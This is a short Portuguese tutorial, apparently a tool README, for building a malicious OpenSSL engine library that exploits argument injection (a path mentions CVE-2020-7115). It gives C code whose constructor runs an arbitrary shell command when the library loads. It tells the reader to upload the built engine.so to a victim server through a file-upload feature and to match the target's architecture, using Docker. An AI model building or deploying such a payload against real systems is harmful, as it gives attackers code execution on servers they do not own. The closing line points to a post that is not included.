
Crie seu mecanismo malicioso em segundos
Crie seu motor malicioso em segundos
Script simples para gerar um motor malicioso pronto para ser usado em cenários de injeção de argumentos do openssl.
É muito simples, basta modificar o arquivo engine.c com o comando de sua escolha:
#include <unistd.h>
__attribute__((constructor))
static void init() {
execl("/bin/sh", "sh", "-c", "COMMAND");
}
Depois de fazer isso, agora você só precisa executar o script assim:
bash build_engine.sh
Este comando criará uma pasta chamada output, dentro dela você encontrará um arquivo chamado engine.so, que é o que você deve enviar para o servidor através de uma funcionalidade de upload de arquivos.
É importante que você saiba que deve criar o motor malicioso com as mesmas características do sistema da vítima. Ou seja... se o sistema alvo está rodando em um linux de 64 bits, você deve criar o motor malicioso em um linux de 64 bits.
Docker é uma tecnologia incrível para esse tipo de coisa, e configurar seu ambiente é muito fácil.
Primeiro, vamos baixar a imagem docker deste site para um sistema linux debian de 64 bits:
sudo docker pull debian
Em seguida, vamos levantar o docker da seguinte forma:
sudo docker run -v `pwd`:/code -it debian
Vamos entender um pouco o que fizemos aqui. A flag -v é usada para criar um volume; neste caso, estamos associando o conteúdo da pasta /code com o conteúdo da pasta do nosso diretório atual, daí o uso de pwd.
Com 'associar' quero dizer que tudo o que criarmos ou editarmos em /code (pasta que está hospedada na raiz da imagem docker), teremos e veremos em pwd e no sentido oposto.
No nosso caso, pwd aponta para o seguinte diretório em nossa máquina local:
/home/retr0/CVE-2020-7115/
A flag -it, por outro lado, pode ser vista da seguinte forma:
A flag -t (--tty) instrui o Docker a mapear uma sessão de terminal virtual dentro do contêiner. Isso é comumente usado com a opção -i (--interactive), que mantém STDIN aberto mesmo se executando em modo destacado.
Então, efetivamente, usar a flag -it é útil quando queremos obter um shell do contêiner em questão.
Sem problemas, basta visitar este post, e tenho certeza que você entenderá completamente essa vulnerabilidade.